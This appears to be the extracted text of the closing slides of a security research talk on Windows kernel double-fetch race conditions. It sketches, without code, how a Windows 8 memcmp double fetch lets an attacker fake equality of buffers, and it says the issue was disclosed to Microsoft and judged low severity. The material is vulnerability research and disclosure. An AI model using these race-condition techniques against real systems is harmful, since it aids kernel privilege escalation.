<td></td>
</tr>
<tr>
<td>7</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td></td>
</tr>
</tbody>
</table>
Windows 8 memcmp double fetch

Attack scenario (phase 2)

ptr1 →

ptr2 →
Windows 8 memcmp double fetch

Attack scenario (phase 2)

ptr1 →

ptr2 →
Windows 8 memcmp double fetch

Attack scenario (phase 2)

ptr1 →

ptr2 →
Attack scenario (phase 2)

Kernel: all good!

Kernel: return 0;
Windows 8 memcmp double fetch

• Do you know the first 4 bytes of the stream compared against?
  o or 4*n bytes in general (e.g. 8 bytes in previous example).
  o zero, magic value, many options.
  o can be brute-forced at the worst.

• You can fake equality of n-byte buffers with just this knowledge.
  o comparison of n bytes reduced to comparison of 4 bytes.

• We informed MSRC about the issue
  o disregarded as none-to-low severity (agreed!)
  o requires a rare, erroneous condition on a specific platform.
Windows 8 memcmp double fetch

NO EXPLOIT

DEMO
Conclusions
Conclusions

Identification of double fetch

- Dynamic approach works!
- But is strongly bound to code coverage
  - if you find a very good way to improve it, you'll find more issues.
- There are still likely tens of such bugs in the kernel.
  - especially IOCTL handlers and such.
  - something to look for when reviewing third-party drivers?
- Also, a few good admin-to-ring0 bugs lying around
  - not fixed by MSFT due to low severity
Conclusions

Exploitability

• Little research done in the area so far.
  o correlates with volume of race conditions found in the past.
• Attackers can usually control more than they think.
  o code execution timings can be influenced in a plethora of ways.
• Some techniques were developed during the research.
  o we hope to see more.
• In general, every double fetch is exploitable with some work.
  o especially for core# ≥ 2
Conclusions

Future work

• Other platforms (Linux, BSD, ...)
• Other patterns
  o double writes, neutralized exceptions, ...
• More coverage
  o better test suites, nt/win32k/ioctl fuzzers?
• Better implementation
  o HyperPwn, a VMM-based system instrumentation upcoming.
• Static program analysis
Conclusions

Final word: CPU-level instrumentation seems to be a "fountain of 0-day" (© Travis Goodspeed).

Go and play with it.
(Bochspwn / HyperPwn later this year)
Questions?

@j00ru
http://j00ru.vexillium.org/
j00ru.vx@gmail.com

@gynvael
http://gynvael.coldwind.pl/
gynvael@coldwind.pl
References